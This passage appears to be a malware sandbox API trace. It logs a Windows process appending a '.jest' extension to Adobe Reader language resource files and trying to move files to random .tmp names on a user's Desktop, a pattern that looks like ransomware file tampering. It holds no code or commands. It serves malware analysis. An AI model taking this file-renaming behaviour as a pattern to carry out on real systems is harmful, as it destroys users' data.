(bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟彂啅佒琮瑸") returned 0x70 [0150.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x1445ffc, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt") returned 113 [0150.962] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟彂啅佒琮瑸樮獥t") returned 0x75 [0150.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=117, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0150.962] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟彂啅佒琮瑸樮獥t") returned 0x75 [0150.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=118, lpWideCharStr=0x14cf144, cchWideChar=235 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt.jest") returned 118 [0150.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt", lpUsedDefaultChar=0x0) returned 113 [0150.963] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.963] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.963] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.964] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x289)) [0150.964] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.964] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x289)) [0150.964] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x289)) [0150.964] GetUserDefaultLCID () returned 0x409 [0150.964] VarBstrFromR4 (in: fltIn=0x47945053, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.65") returned 0x0 [0150.964] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.965] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.965] CoFreeUnusedLibraries () [0150.965] GetTickCount () returned 0x115782d [0150.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.965] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.965] GetTickCount () returned 0x115782d [0150.965] IsWindowVisible (hWnd=0x30268) returned 0 [0150.965] Sleep (dwMilliseconds=0x0) [0150.966] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbHe89oFVLiJ29zkU3CRs0jobvlL4_BfqJCl0-bBtFhdUHz2K ItrYEzUpdczknpZMklBeNqN8EkOs5HWhiu6ywn2qnxsyt1L6xh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbhe89ofvlij29zku3crs0jobvll4_bfqjcl0-bbtfhduhz2k itryezupdczknpzmklbenqn8ekos5hwhiu6ywn2qnxsyt1l6xh.tmp")) returned 0 [0150.966] GetLastError () returned 0x2 [0150.966] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.967] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.967] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.967] CoFreeUnusedLibraries () [0150.967] GetTickCount () returned 0x115782d [0150.967] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.968] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.968] GetTickCount () returned 0x115782d [0150.968] IsWindowVisible (hWnd=0x30268) returned 0 [0150.968] Sleep (dwMilliseconds=0x0) [0150.969] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.969] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt.jest")) returned 1 [0150.970] GetLastError () returned 0x0 [0150.970] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟⹂硴t") returned 0x6b [0150.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.970] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟⹂硴t") returned 0x6b [0150.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt") returned 108 [0150.970] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟⹂硴⹴敪瑳") returned 0x70 [0150.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.970] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䝟⹂硴⹴敪瑳") returned 0x70 [0150.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt.jest") returned 113 [0150.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt", lpUsedDefaultChar=0x0) returned 108 [0150.971] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.971] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.971] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.972] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x299)) [0150.972] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.972] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x299)) [0150.972] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x299)) [0150.972] GetUserDefaultLCID () returned 0x409 [0150.972] VarBstrFromR4 (in: fltIn=0x47945055, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.66") returned 0x0 [0150.972] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.973] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.973] CoFreeUnusedLibraries () [0150.973] GetTickCount () returned 0x115783c [0150.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.973] GetTickCount () returned 0x115783c [0150.973] IsWindowVisible (hWnd=0x30268) returned 0 [0150.973] Sleep (dwMilliseconds=0x0) [0150.974] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DSbHM_om6UiJprGcVVw1yp5fSrDRZpLiQHx9ZZssLa8F683Npg3tVr5HTHvXk00C-Jxg1HTJcVUYK6JWeTRtBzScAYDcmuPE2tYp0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dsbhm_om6uijprgcvvw1yp5fsrdrzpliqhx9zzssla8f683npg3tvr5hthvxk00c-jxg1htjcvuyk6jwetrtbzscaydcmupe2typ0.tmp")) returned 0 [0150.974] GetLastError () returned 0x2 [0150.974] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.975] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.975] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.976] CoFreeUnusedLibraries () [0150.976] GetTickCount () returned 0x115783c [0150.976] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.976] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.976] GetTickCount () returned 0x115783c [0150.976] IsWindowVisible (hWnd=0x30268) returned 0 [0150.976] Sleep (dwMilliseconds=0x0) [0150.976] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.977] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt.jest")) returned 1 [0150.978] GetLastError () returned 0x0 [0150.978] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䍟⹁硴t") returned 0x6b [0150.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.978] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䍟⹁硴t") returned 0x6b [0150.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt") returned 108 [0150.978] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䍟⹁硴⹴敪瑳") returned 0x70 [0150.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.978] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥䍟⹁硴⹴敪瑳") returned 0x70 [0150.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt.jest") returned 113 [0150.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt", lpUsedDefaultChar=0x0) returned 108 [0150.978] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.979] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.979] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.979] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x299)) [0150.979] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.979] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x299)) [0150.979] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x299)) [0150.979] GetUserDefaultLCID () returned 0x409 [0150.979] VarBstrFromR4 (in: fltIn=0x47945055, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.66") returned 0x0 [0150.980] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.980] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.980] CoFreeUnusedLibraries () [0150.980] GetTickCount () returned 0x115783c [0150.980] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.980] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.980] GetTickCount () returned 0x115783c [0150.980] IsWindowVisible (hWnd=0x30268) returned 0 [0150.980] Sleep (dwMilliseconds=0x0) [0150.981] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m762635WxvRZtk8rLf_VV25Q7XJJ3oJ2XrG_oSKnuNCpmFnYmVOLk0UUcodIFrrzfXdWhPAgHnDDs_DaUk6kuse5SG6bsSJAGjbFy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m762635wxvrztk8rlf_vv25q7xjj3oj2xrg_osknuncpmfnymvolk0uucodifrrzfxdwhpaghndds_dauk6kuse5sg6bssjagjbfy.tmp")) returned 0 [0150.981] GetLastError () returned 0x2 [0150.981] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.982] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.982] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.982] CoFreeUnusedLibraries () [0150.982] GetTickCount () returned 0x115783c [0150.982] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.982] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.982] GetTickCount () returned 0x115783c [0150.983] IsWindowVisible (hWnd=0x30268) returned 0 [0150.983] Sleep (dwMilliseconds=0x0) [0150.983] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.983] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt.jest")) returned 1 [0150.984] GetLastError () returned 0x0 [0150.984] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟当佐䥓⹘硴t") returned 0x71 [0150.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=113, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0150.984] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟当佐䥓⹘硴t") returned 0x71 [0150.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=114, lpWideCharStr=0x14cf144, cchWideChar=227 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt") returned 114 [0150.984] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟当佐䥓⹘硴⹴敪瑳") returned 0x76 [0150.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=118, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 118 [0150.984] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湥啟当佐䥓⹘硴⹴敪瑳") returned 0x76 [0150.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=119, lpWideCharStr=0x146c82c, cchWideChar=237 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt.jest") returned 119 [0150.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt", lpUsedDefaultChar=0x0) returned 114 [0150.985] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.985] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.985] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.986] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2a9)) [0150.986] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0150.986] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2a9)) [0150.986] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x24, wMilliseconds=0x2a9)) [0150.986] GetUserDefaultLCID () returned 0x409 [0150.986] VarBstrFromR4 (in: fltIn=0x47945057, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.68") returned 0x0 [0150.986] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0150.986] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.986] CoFreeUnusedLibraries () [0150.986] GetTickCount () returned 0x115784c [0150.987] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.987] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.987] GetTickCount () returned 0x115784c [0150.987] IsWindowVisible (hWnd=0x30268) returned 0 [0150.987] Sleep (dwMilliseconds=0x0) [0150.988] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z6Fh1ZPSpgW7JrkrSQy7NtDcTYonskgTefhcZ x8kUqib5FlYZPnvfOkwMTtBlwQUZ9Cee3DuJdjOf27l9RPbXdpi-h3fkTrr7F.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z6fh1zpspgw7jrkrsqy7ntdctyonskgtefhcz x8kuqib5flyzpnvfokwmttblwquz9cee3dujdjof27l9rpbxdpi-h3fktrr7f.tmp")) returned 0 [0150.988] GetLastError () returned 0x2 [0150.988] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.988] RaiseException 